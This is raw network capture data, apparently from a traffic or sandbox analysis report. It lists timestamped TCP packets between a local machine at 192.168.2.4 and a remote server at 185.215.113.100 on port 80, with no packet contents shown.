Aug 30, 2024 18:18:09.507441044 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.507448912 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.507453918 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.507457972 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.507467031 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.507476091 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.507477045 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.507487059 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.507514954 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.507531881 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.507544041 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.507554054 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.507561922 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.507570982 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.507576942 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.507592916 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.507616043 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.507729053 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.507738113 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.507746935 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.507755995 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.507759094 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.507764101 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.507772923 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.507778883 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.507781982 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.507791996 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.507800102 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.507807970 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.507811069 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.507852077 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.507868052 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.508454084 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.508464098 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.508472919 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.508502960 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.508516073 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.508578062 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.508613110 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.508672953 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.508682013 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.508690119 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.508698940 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.508707047 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.508708000 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.508718967 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.508724928 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.508727074 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.508755922 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.508774042 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.508816004 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.508826017 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.508833885 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.508842945 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.508852005 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.508855104 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.508861065 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.508868933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.508869886 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.508907080 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.508925915 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.508940935 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.508974075 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.509536982 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.509546995 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.509553909 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.509562016 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.509571075 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.509577036 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.509578943 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.509587049 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.509608984 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.509624958 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.509687901 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.509696960 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.509704113 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.509712934 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.509721041 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.509721994 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.509730101 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.509737015 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.509738922 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.509747982 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.509756088 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.509763956 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.509766102 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.509788036 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.509809017 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.509819031 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.509851933 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.510263920 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.510272980 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.510281086 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.510289907 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.510298967 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.510299921 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.510307074 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.510317087 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.510324955 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.510329962 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.510333061 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.510341883 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.510349989 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.510350943 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.510375023 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.510387897 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.510411978 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.510421038 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.510443926 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.510459900 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.510550022 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.510560036 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.510569096 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.510577917 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.510585070 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.510586977 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.510596991 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.510602951 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.510629892 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.511074066 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511113882 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.511234999 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511245012 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511254072 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511262894 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511269093 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.511291981 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.511312962 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.511385918 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511395931 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511403084 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511411905 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511419058 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.511420012 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511429071 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511434078 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.511437893 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511446953 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511455059 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511462927 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511467934 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.511472940 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511476994 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.511501074 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.511523008 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.511531115 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511544943 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511562109 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.511584044 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.511917114 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511929989 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511939049 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511946917 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511951923 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.511955023 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.511975050 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.511992931 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.512064934 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512074947 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512083054 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512092113 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512100935 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512100935 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.512130976 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.512156963 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.512219906 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512229919 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512238979 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512248039 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512255907 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.512255907 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512273073 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.512303114 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.512692928 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512702942 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512712002 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512721062 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512727022 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.512743950 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.512768030 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.512845039 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512855053 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512862921 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512871981 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512878895 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.512886047 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512896061 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512900114 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.512904882 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512912989 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512922049 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512929916 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512934923 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.512938976 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512948990 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.512953043 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.512969971 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.513010025 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.513015032 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.513024092 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.513027906 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.513032913 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.513037920 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.513053894 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.513071060 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.513647079 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.513655901 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.513664007 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.513674974 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.513689995 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.513705969 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.513742924 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.513797045 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.513806105 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.513813972 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.513822079 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.513830900 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.513849974 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.513968945 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.513978004 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.513987064 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.513994932 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.514000893 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.514003992 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.514013052 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.514019012 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.514049053 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.514147997 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.514158010 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.514164925 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.514168978 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.514189005 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.514209986 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.514353991 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.514364958 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.514388084 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.514400959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.514411926 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.514411926 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.514448881 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.515450001 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.515460968 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.515466928 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.515475035 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.515480042 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.515485048 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.515490055 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.515497923 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.515531063 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.515547991 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.515629053 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.515636921 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.515645027 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.515651941 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.515669107 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.515687943 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.515850067 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.515861034 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.515871048 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.515876055 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.515889883 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.515924931 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.515980005 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.515990019 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.515999079 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.516014099 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.516038895 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.516149998 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.516160011 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.516169071 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.516174078 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.516186953 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.516208887 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.516236067 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.516336918 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.516392946 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.518763065 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.518826008 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.518906116 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.518915892 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.518943071 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.518958092 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.519083977 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519093037 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519102097 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519110918 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519120932 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519124985 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.519129038 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519138098 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519146919 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519155979 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519156933 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.519186974 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.519203901 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.519208908 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519238949 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.519397974 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519407034 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519449949 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.519541979 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519550085 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519558907 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519567966 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519572973 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.519577980 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519587040 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519592047 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.519597054 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519607067 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519614935 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519622087 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.519644022 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.519654036 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.519831896 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519840956 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519849062 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519857883 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519862890 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.519866943 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519876003 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.519881964 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.519907951 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.520169020 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.520178080 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.520185947 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.520196915 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.520203114 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.520206928 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.520237923 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.520261049 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:09.520332098 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:09.520343065 CEST	80	49730	185.215.113.100	192.168.2.4
